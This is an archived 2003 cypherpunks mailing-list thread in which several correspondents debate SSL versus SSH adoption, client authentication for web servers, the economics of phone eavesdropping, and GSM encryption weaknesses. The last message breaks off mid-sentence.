From: jamesd at echeque.com (James A. Donald)
Date: Tue, 3 Jun 2003 20:37:03 -0700
Subject: Maybe It's Snake Oil All the Way Down
In-Reply-To: <3EDCB916.14077.15D755CF@localhost>
References: <200306031304.h53D4dl25250@medusa01.cs.auckland.ac.nz>
Message-ID: <3EDD06EF.2850.17076FA5@localhost>

    --
On 3 Jun 2003 at 15:04, James A. Donald wrote:
> I never figured out how to use a certificate to authenticate 
> a client to a web server, how to make a web form available to 
> one client and not another.  Where do I start?
>
> What I and everyone else does is use a shared secret, a 
> password stored on the server, whereby the otherwise 
> anonymous client gets authenticated, then gets an ephemeral 
> cookie identifying him..   I cannot seem to find any how-tos 
> or examples for anything better, whether for IIS or apache.
>
> As a result we each have a large number of shared secret 
> passwords, whereby we each log into a large number of 
> webservers.  Was this what the people who created this 
> protocol intended?

Or to say the same thing in different words -- why can't HTTPS 
be more like SSH?    Why are we seeing a snow storm of scam
mails trying to get us to login to e-g0ld.com? 

    --digsig
         James A. Donald
     6YeGpsZR+nOTh/cGwvITnSR3TdzclVpR0+pr3YYQdkG
     QtiFX0Q654gHh54NAMlLGE1FGDveixyzL0ZnAOVS
     4hprBkT1zeYk/HdBOXiquwvz5vLUwF/21wW1Jf411


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From lynn at garlic.com  Tue Jun  3 19:49:48 2003
From: lynn at garlic.com (Anne & Lynn Wheeler)
Date: Tue, 03 Jun 2003 20:49:48 -0600
Subject: Maybe It's Snake Oil All the Way Down
In-Reply-To: <3EDCB916.14077.15D755CF@localhost>
References: <200306031304.h53D4dl25250@medusa01.cs.auckland.ac.nz>
Message-ID: <4.2.2.20030603202629.00bad470@mail.earthlink.net>

some generic reasons for hooking radius (or one of the AAA technologies) 
into your webserver for authentication are:

1) supports a variety of authentication mechanisms on an account by account 
basis. day one, none of the users actually need to see any difference 
(single administrative interface supporting all the client authentication 
options that might be in use). existing userid/password, challenge/response 
and in the referenced asuretee url, ecdsa digital signature.

2) single administrative interface for both client authentication options 
as well as all of their authorization and privilege options.

3) client database is accessable in real-time by the webserver, real-time 
updates can occur to both authentication information as well 
as  authorization, permission and privilege information using single 
consistent administrative operation

4) there is no disconnect between client administration and static, stale, 
redundant and superfluous certificates that are a subset of a r/o 
administrative database entry. (RADIUS) Updates can take place in real time 
and immediately reflected. The certificate story (as mentioned previously, 
created for offline, disconnected environment) basically would do something 
like a) invalidate the old certificate, b) issue new CRLs, c) possibly 
update a OCSP LDAP, d) update the master database permissions entry for 
that client, e) generate a certificate that represents a subset of the 
master information, f) distribute it to the client and f) then have the 
client install the new certificate. This of course becomes unnecessary if 
the certificate doesn't actually contain any information and the webserver 
accesses the authorization and permissions from an online database. 
However, as has repeatedly been pointed out before, if the certificate 
doesn't contain any information and the webserver is accessing an online 
database for authorizations and permissions ... then the webserver can 
access the online database for the authentication material also. The 
certificate then is static, stale, redundant and superfluous and you are 
back to a single online, real-time comprehensive administrative facility 
(like radius) that supports client/account specifics for authentication, 
authorization, permissions, accounting, privileges, etc.




--
Anne & Lynn Wheeler    http://www.garlic.com/~lynn/
Internet trivia 20th anv http://www.garlic.com/~lynn/rfcietff.htm




From daw at mozart.cs.berkeley.edu  Tue Jun  3 14:10:00 2003
From: daw at mozart.cs.berkeley.edu (David Wagner)
Date: 3 Jun 2003 21:10:00 GMT
Subject: Maybe It's Snake Oil All the Way Down
References: <A4628A7C27BF0D48847FD4AB8536731D1D0B59@blinky.mobile-mind.c
   om> <kjd6hxzc07.fsf@romeo.rtfm.com>
  <5.2.0.9.0.20030603103241.0455a6a0@pop.ix.netcom.com>
  <Pine.SOL.4.51.0306032216560.21827@kruuna.Helsinki.FI>
Message-ID: <bbj2r8$ggb$1@abraham.cs.berkeley.edu>

Sampo Syreeni  wrote:
>Rather it's the fact that the Big
>Brother doesn't have the necessary total funds, and so doesn't listen into
>a considerable proportion of calls as a whole.

Yet.

As far as we know.

:-)

I agree it's an economic issue, and law enforcement doesn't seem to
listen in on a considerable proportion of calls as a whole at the moment.
But what happens to costs in the future?  Remember, it takes 10 years
to get any change to the cellphone/telecommunications infrastructure
deployed, so it pays to think ahead.

By the way, what's the story with those SIGINT planes supposedly
advertised as being able to fly over a city and capture communications
from the whole metropolitan area?  John Young had a pointer on his web
site at one point.  Do you suppose they might snarf up all the cellphone
traffic they can find, en masse?  What proportion of calls would that be,
as a fraction of the whole?  One wonders whether your confidence in the
security of cellphone traffic is well-founded.




From camera_lumina at hotmail.com  Tue Jun  3 18:13:27 2003
From: camera_lumina at hotmail.com (Tyler Durden)
Date: Tue, 03 Jun 2003 21:13:27 -0400
Subject: SIGINT planes vs. radioisotope mapping
Message-ID: <BAY7-F53YCT4aJ6pkNz00015c18@hotmail.com>

Tim May wrote...

"Landline signals are vastly harder to pick up, and I doubt strongly that 
every minorly-radiating landline signal is being picked up."

Of course, optical signals could never be remotely detected by air or even 
without an optical tap. I doubt even aerial optical cable readiates enough 
or in such a way as to be remotely detectable.

However, the vast majority of "last mile" installations are still copper, 
and copper does radiate. But I can't see how that could be detected by air 
either. Even if there's enough radiation, it's going to get scattered and 
diffracted to hell and gone as it passes through the sheath, concrete, and 
then air.

ANd of course, there's the bandwidth issue. In even a medium sized metro 
area the sheer number of landlines will be huge, and any businesses will be 
shipping out their traffic via T1 or fractional T1. Hence, one of those 
airplanes would practically need a small CO to demultiplex all that traffic 
(although even off-the-shelf silicon has come a LONG way from the 5ESS days, 
so the size factor will not be something to sneeze at).

Nah. Any such AWAC-type recon 'surveys' must be seeking out targeted 
information somehow. Perhaps there's some kind of electronic 'red dye' that 
allow a specific set of users' calls to stand out? Is it possible that 
'interesting' landlines are dropped-and-continued on to some narrowcasting 
point for air? This might be their way of getting around the TIRKS and 
provisioning issues related to moving those lines a long distance, and 
possibly through multiple carriers (but then again, that just might be what 
DISAs' recently announced GIG-BE network is supposed to solve!)

-TD




>From: Tim May <timcmay at got.net>
>To: daw at mozart.cs.berkeley.edu (David Wagner)
>CC: cypherpunks at lne.com
>Subject: SIGINT planes vs. radioisotope mapping
>Date: Tue, 3 Jun 2003 17:28:09 -0700
>
>On Tuesday, June 3, 2003, at 09:10  PM, David Wagner wrote:
>
>>Sampo Syreeni  wrote:
>>>Rather it's the fact that the Big
>>>Brother doesn't have the necessary total funds, and so doesn't listen 
>>>into
>>>a considerable proportion of calls as a whole.
>>
>>Yet.
>>
>>As far as we know.
>>
>>:-)
>>
>>I agree it's an economic issue, and law enforcement doesn't seem to
>>listen in on a considerable proportion of calls as a whole at the moment.
>>But what happens to costs in the future?  Remember, it takes 10 years
>>to get any change to the cellphone/telecommunications infrastructure
>>deployed, so it pays to think ahead.
>>
>>By the way, what's the story with those SIGINT planes supposedly
>>advertised as being able to fly over a city and capture communications
>>from the whole metropolitan area?  John Young had a pointer on his web
>>site at one point.  Do you suppose they might snarf up all the cellphone
>>traffic they can find, en masse?  What proportion of calls would that be,
>>as a fraction of the whole?  One wonders whether your confidence in the
>>security of cellphone traffic is well-founded.
>
>AWACS-type planes have long had the ability to act as "cell towers," so 
>cell traffic is easily picked-up, if in fact they are doing this. Landline 
>signals are vastly harder to pick up, and I doubt strongly that every 
>minorly-radiating landline signal is being picked up.
>
>Perhaps for very, very targetted signals, but not cruising over general 
>cities, it seems likely to me.
>
>I'm not sure of the context here, but in the past year there were some 
>reports of planes circling over university campuses, and many were 
>hypothesizing that SIGINT was being done on telephone and computer 
>messages. This seemed unlikely to me.
>
>I concluded--and posted on Usenet about my thinking--that some campuses may 
>have been targeted for low-level gamma ray surveys. Kind of a gamma ray 
>version of Shipley's "war driving" maps. Possibly for construction of 
>baseline maps of existing radioisotopes in university labs, hospitals, and 
>private facilities. Then deviations from baseline maps could be identified 
>and inspected in more detail with ground-based vans and black bag ops.
>
>>
>--Tim May
>"That the said Constitution shall never be construed to authorize Congress 
>to infringe the just liberty of the press or the rights of conscience; or 
>to prevent the people of the United States who are peaceable citizens from 
>keeping their own arms." --Samuel Adams

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From camera_lumina at hotmail.com  Tue Jun  3 18:20:10 2003
From: camera_lumina at hotmail.com (Tyler Durden)
Date: Tue, 03 Jun 2003 21:20:10 -0400
Subject: [ChemBrin] Tracking NYC farts
Message-ID: <BAY7-F413wSimD3JkUw00004273@hotmail.com>

"This summer, federal scientists plan to release benign gases in
Manhattan and use the sensors to track them."

Reminds me of the good ole days when they released viruses in the subway for 
a similar purpose. I'm guessing that in this case "benign" depends on your 
definition of benign.

Want to scuttle a fed program? Broadcast this on the Villiage Voice boards 
and on as many gay sites as you can find.

-TD



>From: "Major Variola (ret)" <mv at cdc.gov>
>To: "cypherpunks at lne.com" <cypherpunks at lne.com>
>Subject: [ChemBrin] Tracking NYC farts
>Date: Tue, 03 Jun 2003 13:05:53 -0700
>
>[And in a few years, the sensors will be augmented with tobacco, pot,
>maybe programmable
>DNA-scurf detectors.]
>
>http://www.nydailynews.com/front/story/89128p-81072c.html
>Federal scientists will soon blanket the heart of midtown and the West
>Village with high-tech sensors designed to track biological, chemical
>and radiological agents in the event of a terrorist attack.
>
>  The security project is a first step toward creating a vast network of
>sensors that can predict how the fallout from a weapon of mass
>destruction might spread through the city.
>
>  "We would like to work out what areas would be dangerous and, more
>importantly, what areas would be safe," said Bruce Hicks, director of
>the Air Resources Laboratory of the National Oceanic and Atmospheric
>Administration.
>
>  The research is considered crucial because mathematical and computer
>models that forecast the airborne paths of toxins were designed for
>rural areas, not cities.
>
>  "Right now, the models that we have are not set up for dense urban
>areas with the canyons and the complexities that exist in New York,"
>said Dr. Ralph James, director of the Energy, Environment and National
>Security unit at Brookhaven National Laboratory on Long Island.
>
>  Five sensors already have been placed as part of the project, called
>the Urban Atmospheric Observatory.
>
>  The instruments, attached to a federal building near Varick and W.
>Houston Sts., measure wind direction, velocity and turbulence.
>
>  Scores of similar sensors, as well as radiation detectors, are expected
>to be placed this year around midtown and the West Village - considered
>potential terrorist targets.
>
>Tracing gases
>
>  "Anywhere we can hang an instrument, we are going to try to get one out
>there," said Michael Reynolds, a research scientist at the Brookhaven
>labs, part of the Energy Department.
>
>  This summer, federal scientists plan to release benign gases in
>Manhattan and use the sensors to track them.
>
>  "That way, we can really get an idea of how well the models work,"
>Reynolds said.
>
>  A similar program, called DCNet, is underway in Washington, where 13
>sensors have been placed near sensitive sites, including the White
>House.
>
>  New York is seeking up to $10 million from the Homeland Security
>Department to expand its network.
>
>  Reynolds said it would cost about $30 million to $40 million a year to
>fully implement the sensors in New York.

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From jya at pipeline.com  Tue Jun  3 21:36:59 2003
From: jya at pipeline.com (John Young)
Date: Tue, 03 Jun 2003 21:36:59 -0700
Subject: Maybe It's Snake Oil All the Way Down
In-Reply-To: <BB4DFA4E-961D-11D7-9380-000393754B1C@vangelderen.org>
References: <v03110729bb02cd26c820@[192.168.1.5]>
Message-ID: <E19NNDG-0001m9-00@granger.mail.mindspring.net>

The White House Communications Agency is also working
hard to secure presidential communications, with legacy
systems needing ever-increasing maintenance and upgrades,
the market continuing to outpace the big-ticket legacy
clunker equipment, too expensive to chuck outright, yet having
flaws begging for discovery, patches galore (most relying
upon obscurity and secrecy), and the operators from the
four military branches which run the system turning over
regularly and each new wave needing special training to 
work the patchwork klutz, with retiring old salts who are
the only ones who know how the hybrids work and whether
they are truly secure, and not least, NSA doing it damndest
to get new systems installed in all the prez's habitats and
vehicles and layovers around the world, deploying crypto
tools partly off the shelf, partly purpose-built at Ft Meade -- 
and the whole precarious mess subject to a 20-year-old 
pulling a thumb out of the dike and letting flow proof that the 
leader of the free world is up to what you'd expect despite 
the multi-million rig to hide the obvious. Rumor is that 98%
of what is handled top secretly is trivial fluff, as with most
mil comm, SIGINT, cellphone, microwave, fiber-optic, so that
snake oil is apt protection. If all telecomm was shut down no
more would change than pulling the plug on television.

The other 2% is what the billions and billions is trying to find
among the EM cataract of plaintext and speak smoke and whine 
-- by whoever may be plotting a world of pure bugfuck. But that
could also be discovered by thoughtful analysis of any singular
mania, whether religion, higher-ed, sport, stock market, politics, 
or mil-biz.

Here's a recent account from "Army Communicator" of 
what's up at ever busier and harried and thumbplugging
WHCA:

  http://cryptome.org/whca2003.pdg  (680KB)

WHCA itself is recruiting thumbs:

  http://www.disa.mil/whca




From decoy at iki.fi  Tue Jun  3 13:13:36 2003
From: decoy at iki.fi (Sampo Syreeni)
Date: Tue, 3 Jun 2003 23:13:36 +0300 (EEST)
Subject: CDR: Re: Maybe It's Snake Oil All the Way Down
In-Reply-To: <5.2.0.9.0.20030603103241.0455a6a0@pop.ix.netcom.com>
References: <A4628A7C27BF0D48847FD4AB8536731D1D0B59@blinky.mobile-mind.c 
 om> <kjd6hxzc07.fsf@romeo.rtfm.com> <5.2.0.9.0.20030603103241.0455a6a0@pop.ix.netcom.com>
Message-ID: <Pine.SOL.4.51.0306032216560.21827@kruuna.Helsinki.FI>

On 2003-06-03, John Kelsey uttered to iang at systemics.com and EKR:

>I think phones that encrypt the landline part of the call are pretty
>low-priority for most of us, since it costs something to eavesdrop on
>these calls.

I don't think the cost of listening into a single call is the primary
issue, regardless of transmission technology. There are extra costs to
tracking a mobile user, true, but from the standpoint of law enforcement
agencies, these costs are rather minimal. (From the standpoint of a
private eavesdropper the difference is much greater, since the subject is
mobile and one cannot take advantage of the centralized points of failure
of the mobile communications network.) Rather it's the fact that the Big
Brother doesn't have the necessary total funds, and so doesn't listen into
a considerable proportion of calls as a whole.

The implication is, as the costs go down, it becomes possible to listen
into more calls, and the fear goes up. Especially so when speech
recognition and subsequent pattern analysis become computationally
feasible at a wider scale. When this is the case, it should be expected
that the use of crypto goes up. But right now, even people who "have
something to hide" do not perceive cleartext communication to be a risk
worth expending resources to thwart.

>But anything that goes over the air, whether cellphone or cordless phone,
>ought to be properly encrypted, and it isn't now.

Why? As I see it, this is fundamentally an economic question, not a
technical one. It's about the risk of somebody listening in, taking notice
and acting adversely to the talker's own interest, versus speaking what
one wants without having to take expensive precautions. Currently such
risks mostly materialize when one *truly* has something to hide, that is,
one talks about something criminal, there is reason to believe law
enforcement agencies might be listening and one talks in terms which will
reasonably lead to conviction in the right circumstances.

The probability of that happening is surprisingly low, especially from the
security professional's somewhat paranoid viewpoint.

>This is a big vulnerability in a lot of places, and once you've built the
>intercept and decrypting hardware, it's easy to eavesdrop on huge numbers
>of people.

True. But in average people will shortly notice the development, and
prepare from there on. So far they haven't, and for a good reason -- such
surveillance is far too uncommon and inconsequential to actually be
noticed.

Of course, if encrypted communications become dirt cheap and are properly
spun in the media, people will take on -- negligible cost combined with a
serious threat thwarted is a sure sell. This would be good, too, since the
risks of insecure communication tend to be sizable and also materialize
rarely -- those are precisely the circumstances in which people suffer
from the worst errors of judgment. But at the present, I think the costs
of real security seriously outweight the benefit, for most people. That
might change as much as a result of what people themselves do/think, as as
a result of what the Man, the Hacker or the technologically sophisticated
Neighbour does. Until such a change, crypto is, sadly, a fringe thing. No
matter how it's used.

>You can imagine either rogue cops and spies doing this, or private
>criminals.

Or just your neighbour. I mean, it doesn't take a cop, or a spy, or even a
an immoral person to listen in on you. All it takes is a little curiosity.
There's plenty of that going around.

>I keep wondering how hard it would be to build a cordless phone system on
>top of 802.11b with some kind of decent encryption being used.

>From what I can tell from my knowledge of the DSP and crypto circuits, a
couple of months of full-time effort. In no case more than half a year at
full steam.

The question is, who has a) the time, and b) the energy? Few do.

>I'd really like to be able to move from a digital spread spectrum
>cordless phone (which probably has a 16-bit key for the spreading
>sequence or some such depressing thing) to a phone that can't be
>eavesdropped on without tapping the wire.

If it's feasible to encrypt the phone-to-base station link, it's equally
feasible to encrypt end-to-end. It's also cheap enough to do what PGP et
al. do, that is, combine public key methods with symmetric ones to achieve
both efficiency in in-band operation and convenience with key
distribution. Thus, there's no need to distinguish E2E encryption from the
rest, even in mobile, low-power equipment. If you need security, you might
as well do it right.

>And for cellphones, I keep thinking we need a way to sell a secure
>cellphone service that doesn't involve trying to make huge changes to the
>infrastructure, which probably means a call center that handles all
>contact with the cellphone itself, always encrypted.

Try GSM's data features. They have extra error correction, true, and so
lower rates than the primary voice codec, but combined with the kinds of
high end voice codecs as the GSM halfband one, you can fit perfectly
usable speech within the data standard. After that, you don't even have to
worry about modulation -- you can just send bits. Fitting strong crypto
into that is ridiculously easy, and also relatively cheap.

>End-to-end encryption isn't nearly as important.

Huh? Bare on-the-air encryption only proofs you against nosy neighbours
and the attendant probability of one of them giving you in for something
illegal. Those probabilities are quite low, compared to what "someone with
something to hide" would fear from law enforcement. E2E protects you
against both the threats, at little, no, or negative extra cost -- if your
chosen mobile standard permits access to a variant of the basic digital
interface, you can design you own protocol, usually with no more than half
the bitrate lost to FEC. Better voice codecs tend to be able to deal with
that, as witnessed by GSM's half rate codec. Consequently E2E's a pure win
compared to trusting your mobile provider.

But it also needn't be more expensive. In fact it's likely that in digital
incarnations of the mobile phone system, E2E's actually cheaper than the
alternative protocol change, provided the standard permits access to some
variant of the basic, digital interface. If you can send numbers, crypto
is easy to add on, it's not too difficult to add a proper, low-rate voice
codec, and so you have both intelligible voice and industrial strength
security.
-- 
Sampo Syreeni, aka decoy - mailto:decoy at iki.fi, tel:+358-50-5756111
student/math+cs/helsinki university, http://www.iki.fi/~decoy/front
openpgp: 050985C2/025E D175 ABE5 027C 9494 EEB0 E090 8BA9 0509 85C2

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From dee3 at torque.pothole.com  Tue Jun  3 20:25:26 2003
From: dee3 at torque.pothole.com (Donald Eastlake 3rd)
Date: Tue, 3 Jun 2003 23:25:26 -0400 (EDT)
Subject: Maybe It's Snake Oil All the Way Down
In-Reply-To: <5.2.0.9.0.20030603103241.0455a6a0@pop.ix.netcom.com>
Message-ID: <Pine.LNX.4.44.0306032323280.22664-100000@zydeco.netbusters.com>

On Tue, 3 Jun 2003, John Kelsey wrote:

> Date: Tue, 03 Jun 2003 10:42:01 -0400
> From: John Kelsey <kelsey.j at ix.netcom.com>
> Subject: Re: Maybe It's Snake Oil All the Way Down
> 
> ...
> 
> I keep wondering how hard it would be to build a cordless phone system on 
> top of 802.11b with some kind of decent encryption being used.  I'd really 
> like to be able to move from a digital spread spectrum cordless phone 
> (which probably has a 16-bit key for the spreading sequence or some such 
> depressing thing) to a phone that can't be eavesdropped on without tapping 
> the wire.

See http://www.silicon.com/news/148/1/3828.html?source=nh

> ...
>
> --John Kelsey, kelsey.j at ix.netcom.com
> PGP: FA48 3237 9AD5 30AC EEDD  BBC8 2A80 6948 4CAA F259

Thanks,
Donald
======================================================================
 Donald E. Eastlake 3rd                       dee3 at torque.pothole.com
 155 Beaver Street              +1-508-634-2066(h) +1-508-851-8280(w)
 Milford, MA 01757 USA                   Donald.Eastlake at motorola.com




From iang at systemics.com  Tue Jun  3 20:43:42 2003
From: iang at systemics.com (Ian Grigg)
Date: Tue, 03 Jun 2003 23:43:42 -0400
Subject: Maybe It's Snake Oil All the Way Down
References: <000101c3298e$cf6edd30$6401a8c0@VAIO650>
  <5.1.1.6.2.20030603115519.02ebd0f0@idiom.com>
Message-ID: <3EDD6AEE.9F6EF6B8@systemics.com>

Bill Stewart wrote:
> 
> At 11:38 AM 06/03/2003 -0400, Ian Grigg wrote:
> >I (arbitratrily) define the marketplace for SSL as browsing.
> ...
> >There, we can show statistics that indicate that SSL
> >has penetrated to something slightly less than 1% of servers.
> 
> For transmitting credit card numbers on web forms,
> I'd be surprised if there were 1% of the servers that *don't* use SSL/TLS.


I've seen it a lot.  Not that I pay much
attention, but I'd suspect it is less
than 10%, but much more than 1%.  Also, a lot
of credit card numbers get delivered by email.
These are all to small time merchants who have
MOTO agreements without the net part, but take
the CCs anyway.  After all, a sale is a sale,
and nobody ever heard of a credit card number
being lost over the net...



OK, I'm teased by this:  how many sites use
open unencrypted CC delivery?  I went to google
and searched on:  "<form" credit card number expiry

I found 2 on the first page, and 1 on the second
page.  There were 240,000 hits.  So, we are looking
at some significant numbers there, I hesitate to
say 24,000 as the tail in the google search could
be skewed, but, "a lot" seems a fair assessment.



> Virtually all deployed browsers support SSL, except a few
> special-purpose versions.  The web servers supporting
> almost all of the web support SSL if they have keys installed.
> While many of them haven't bothered paying money for certified keys
> or doing self-signed keys, I'd be surprised if it's really
> as low as 1%.  What's your source for that figure?



http://www.securityspace.com/s_survey/sdata/200305/index.html

Total SSL servers 131,566.  Now go to here:

http://www.securityspace.com/s_survey/data/200305/domain.html

Total webservers 10,432,910 (derived by 5280096 / 0.5061).

That gives SSL penetration as 10,432,910 / 131,566 == 1.26%


(Darn!  I was wrong, it's slightly more than 1%, not less.
I should be stoned and cursed!)



> While only a small fraction of web pages, and a much smaller
> fraction of web bits transmitted, use SSL, that's appropriate,
> because most web pages are material the publisher wants the public to see,
> so eavesdropping isn't particularly part of the threat model,
> and even integrity protection is seldom a realistic worry.



Hmmm...  You might say that, but I would have said it
was the other way around!  There is - surprisingly -
not much of a threat model for eavesdropping of credit
cards (and - shockingly - even less of an MITM threat
model).

It's easier for a crook to break in and hack the DB, and
pick up tens of thousands than to haunt the net looking
for an elusive 16 digit number out of a browser page.

But, there is a big personal cost with reputational
information.  Few people would want to see my credit
card info, but I can think of lots that would be keen
on seeing my adult browsing, my gaming addition, or
my participation in my kleptomaniacal therapy group,
not to mention anything embarrassing I might get up
to!



What I find curious is why all those open source people
worked so hard to build in the crypto to protect credit
cards, but didn't want to protect anything else.  I can
understand Netscape programmers - they wanted to sell
secure servers for cash.

But I don't understand why Apache and KDE and Mozilla
deliver software tuned to protect credit cards.  It
would make sense if they were all paid to do this by
the credit card companies ... but they aren't, are
they?  What's their incentive?



> (By contrast, eavesdropping protection and integrity protection
> are critical to telnet-like applications, so SSH is a big win.)
> 
> It's nice to have routine web traffic encrypted,
> so that non-routine traffic doesn't stand out,
> and so that traffic analysis is much harder,
> but there is a significant CPU hit from the public-key phase,
> which affects the number of pages per hour that can be served.



We run a dozen or more web servers here, and
I can never tell the difference between the
unprotected ones and the protected ones, so
I'm not sure what to make of the argument
that SSL should be reserved for "important
credit card numbers".

I think CPU has gotted so cheap that running
out of CPU is a great sign of a successful
business, no more.  The last time I made a
serious business decision based on CPU
horsepower was back in 1989.  We are almost
at the point where raw PCs can do 1000 RSAs
per second.  Companies like Visa and Mastercard
process in the order of 1000 - 10,000 transactions
per second.  Which means if they were using an
efficient payment system - one or 2 RSAs per
transaction - they could be now thinking about
putting their entire crypto processing on one PC.

Maybe it's only an issue if one is serving
continuously... in which case, maybe one could
either "use less crypto" like switch back to
smaller keys - way more secure than no keys -
or buy a faster box?


-- 
iang




From iang at systemics.com  Tue Jun  3 20:48:12 2003
From: iang at systemics.com (Ian Grigg)
Date: Tue, 03 Jun 2003 23:48:12 -0400
Subject: Maybe It's Snake Oil All the Way Down
References: <6.0.0.9.2.20030603110223.02883638@127.0.0.1>
Message-ID: <3EDD6BFC.1E99024B@systemics.com>

Tim Dierks wrote:
> 
> At 09:11 AM 6/3/2003, Peter Gutmann wrote:
> >"Lucky Green" <shamrock at cypherpunks.to> writes:
> > >Given that SSL use is orders of magnitude higher than that of SSH, with no
> > >change in sight, primarily due to SSL's ease-of-use, I am a bit puzzled by
> > >your assertion that ssh, not SSL, is the "only really successful net crypto
> > >system".
> >
> >I think the assertion was that SSH is used in places where it matters, while
> >SSL is used where no-one really cares (or even knows) about it.  Joe Sixpack
> >will trust any site with a padlock GIF on the page.  Most techies won't access
> >a Unix box without SSH.  Quantity != quality.
> 
> I have my own opinion on what this assertion means. :-) I believe it
> intends to state that ssh is more successful because it is the only
> Internet crypto system which has captured a large share of its use base.
> This is probably true: I think the ratio of ssh to telnet is much higher
> than the ratio of https to http, pgp to unencrypted e-mail, or what have you.


Certainly, in measureable terms, Tim's description
is spot on.  I agree with Peter's comments, but
that's another issue indeed.


> However, I think SSL has been much more successful in general than SSH, if
> only because it's actually used as a transport layer building block rather
> than as a component of an application protocol. SSL is used for more
> Internet protocols than HTTP: it's the standardized way to secure POP,
> IMAP, SMTP, etc. It's also used by many databases and other application
> protocols. In addition, a large number of proprietary protocols and custom
> systems use SSL for security: I know that Certicom's SSL Plus product
> (which I originally wrote) is (or was) used to secure everything from
> submitting your taxes with TurboTax to slot machine jackpot notification
> protocols, to the tune of hundreds of customers. I'm sure that when you add
> in RSA's customers, those of other companies, and people using
> OpenSSL/SSLeay, you'll find that SSL is much more broadly used than ssh.


Design wins!  Yes, indeed, another way of measuring
the success is to measure the design wins.  Using
this measure, SSL is indeed ahead.  This probably
also correlates with the wider support that SSL
garners in the cryptography field.


> I'd guess that SSL is more broadly used, in a dollars-secured or
> data-secure metric, than any other Internet protocol. Most of these uses
> are not particularly visible to the consumer, or happen inside of
> enterprises. Of course, the big winners in the $-secured and data-secured
> categories are certainly systems inside of the financial industry and
> governmental systems.


That would depend an awful lot on what was meant
by "dollars-secured" and "data-secured" ?  Sysadmins
move some pretty hefty backups by SSH on a routine
basis.

-- 
iang

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From pgut001 at cs.auckland.ac.nz  Tue Jun  3 06:04:39 2003
From: pgut001 at cs.auckland.ac.nz (Peter Gutmann)
Date: Wed, 4 Jun 2003 01:04:39 +1200
Subject: Maybe It's Snake Oil All the Way Down
Message-ID: <200306031304.h53D4dl25250@medusa01.cs.auckland.ac.nz>

Ian Grigg <iang at systemics.com> writes:

>It's also very much oriented to x.509 and similar certificate/PKI models,
>which means it is difficult to use in web of trust (I know this because we
>started on the path of adding web of trust and text signing features to x.509
>before going back to OpenPGP), financial and nymous applications whereby
>trust is bootstrapped a different way.

That's a red herring.  It happens to use X.509 as its preferred bit-bagging
format for public keys, but that's about it.  People use self-signed certs,
certs from unknown CAs [0], etc etc, and you don't need certs at all if you
don't need them, <blatant self-promotion>I've just done an RFC draft that uses
shared secret keys for mutual authentication of client and server, with no
need for certificates of any kind</blatant self-promotion>, so the use of
certs, and in particular a hierarchical PKI, is merely an optional extra.
It's no more required in SSL than it is in SSHv2.

>Has anyone read Ferguson and Schneier's _Practical Cryptography_ ?  Does it
>address this issue of how an outsider decides how to "make or buy"?  I just
>read the reviews on Amazon, they are ... entertaining!

They spend a nontrivial portion of the book reinventing SSL/SSHv2.  I guess
they lean towards the roll-your-own side of the argument :-).  I'm firmly in
the opposite camp (see "Lessons Learned in Implementing and Deploying Crypto
Software", links off my home page at http://www.cs.auckland.ac.nz/~pgut001/).
I think that providing an abstract description of a fairly complex security
protocol *in a book targeted at security novices* and then hoping that they
manage to implement it correctly is asking for trouble.  OTOH it's fun going
through the thought processes involved in designing the protocol.  I just wish
they'd applied the process to SSL or SSHv2 instead, so that at the end of it
they could tell the reader to go out and grab an implementation that someone
else has got right for them.

Peter.

[0] The vendor of one widely-used MTA once told me that 90% of the certs they
    saw used in STARTTLS applications were non-big name CA-issued ones (self-
    signed, etc etc).




From eay at pobox.com  Tue Jun  3 08:05:24 2003
From: eay at pobox.com (Eric Young)
Date: Wed, 04 Jun 2003 01:05:24 +1000
Subject: Maybe It's Snake Oil All the Way Down
In-Reply-To: <3EDC9725.6588CFEA@systemics.com>
References: <A4628A7C27BF0D48847FD4AB8536731D1D0B59@blinky.mobile-mind.c		<kjd6hxzc07.fsf@romeo.rtfm.com> <3EDB5A82.5B9C1073@systemics.com>		<20030602092429.A13213@slack.lne.com> <3EDB9C13.AC1F7A9@systemics.com> <kjisroxpfk.fsf@romeo.rtfm.com> <3EDC9725.6588CFEA@systemics.com>
Message-ID: <3EDCB934.1070403@pobox.com>

Ian Grigg wrote:

>It's like the GSM story, whereby 8 years
>down the track, Lucky Green cracked the
>crypto by probing the SIMs to extract
>the secret algorithm over a period of
>many months (which algorithm then fell to
>Ian Goldberg and Dave Wagner in a few hours).
>
>In that case, some GSM guy said that, it
>was good because it worked for 8 years,
>that shows the design was good, doesn't
>it?
>
>And Lucky said, now you've got to replace
>hundreds of millions of SIMs, that's got
>to be a bad design, no?
>  
>
Well the point here is that the data encryption in GSM is not relevant to
the people running the network.  The authentication is secure,
so there is no fraud, so they still get the money from network
usage.  Privacy was never really there since
the traffic is not encrypted once it hit the base station, so the
relevant government agencies can be kept happy.
The encryption was only relevant to protect the consumers
from each other.

eric (hopefully remembering things correctly)


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From eay at pobox.com  Tue Jun  3 08:05:24 2003
From: eay at pobox.com (Eric Young)
Date: Wed, 04 Jun 2003 01:05:24 +1000
Subject: Maybe It's Snake Oil All the Way Down
In-Reply-To: <3EDC9725.6588CFEA@systemics.com>
Message-ID: <mailman.733.1576007633.31620.cypherpunks-legacy@lists.cpunks.org>

Ian Grigg wrote:

>It's like the GSM story, whereby 8 years
>down the track, Lucky Green cracked the
>crypto by probing the SIMs to extract
>the secret algorithm over a period of
>many months (which algorithm then fell to
>Ian Goldberg and Dave Wagner in a few hours).
>
>In that case, some GSM guy said that, it
>was good because it worked for 8 years,
>that shows the design was good, doesn't
>it?
>
>And Lucky said, now you've got to replace
>hundreds of millions of SIMs, that's got
>to be a bad design, no?
>  
>
Well the point here is that the data encryption in GSM is not relevant to
the people running the network.  The authentication is secure,
so there is no fraud, so they still get the money from network
usage.  Privacy was never really there since
the traffic is not encrypted once it hit the base station, so the
relevant government agencies can be kept happy.
The encryption was only relevant to protect the consumers
from each other.

eric (hopefully remembering things correctly)

----- End forwarded message -----




From pgut001 at cs.auckland.ac.nz  Tue Jun  3 06:11:51 2003
From: pgut001 at cs.auckland.ac.nz (Peter Gutmann)
Date: Wed, 4 Jun 2003 01:11:51 +1200
Subject: Maybe It's Snake Oil All the Way Down
Message-ID: <200306031311.h53DBpL25265@medusa01.cs.auckland.ac.nz>

"Lucky Green" <shamrock at cypherpunks.to> writes:

>I trust that we can agree that the volume of traffic and number of
>transactions protected by SSL are orders of magnitude higher than those
>protected by SSH. As is the number of users of SSL. The overwhelming majority
>of which wouldn't know ssh from telnet. Nor would they know what to do at a
>shell prompt and therefore have no use for either ssh or telnet.

Naah, that third sentence is wrong.  It's:

